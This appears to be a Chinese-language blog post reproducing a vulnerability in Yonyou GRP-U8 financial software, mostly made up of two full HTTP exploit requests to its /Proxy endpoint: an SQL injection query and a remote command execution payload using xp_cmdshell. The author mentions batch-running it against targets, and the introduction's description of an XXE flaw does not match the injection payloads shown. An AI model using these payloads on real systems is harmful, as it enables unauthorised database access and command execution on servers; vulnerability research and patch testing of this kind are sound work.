用友GRP-u8 注入-RCE漏洞復現
一、漏洞簡介
用友GRP-u8存在XXE漏洞，該漏洞源于應用程序解析XML輸入時沒有進制外部實體的加載，導致可加載惡意外部文件。
二、漏洞復現
SQL注入POC
POST /Proxy HTTP/1.1
Host: localhost:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: JSESSIONID=25EDA97813692F4D1FAFBB74FD7CFFE0
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 371
cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PARAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM><NAME>Data</NAME><DATA format="text">select user,db_name(),host_name(),@@version</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>
驗證過程
批量跑了一部分（這個是HW期間第一時間跑的）現在估計沒啥了
Rce注入EXP
POST /Proxy HTTP/1.1
Host: localhost:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: JSESSIONID=25EDA97813692F4D1FAFBB74FD7CFFE0
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 355
cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PARAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM><NAME>Data</NAME><DATA format="text">exec xp_cmdshell 'ipconfig'</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>
參考：
https://www.cnblogs.com/0day-li/p/13652897.html
https://www.uedbox.com/post/14953/
https://www.cnblogs.com/Yang34/p/13653960.html
注意：??
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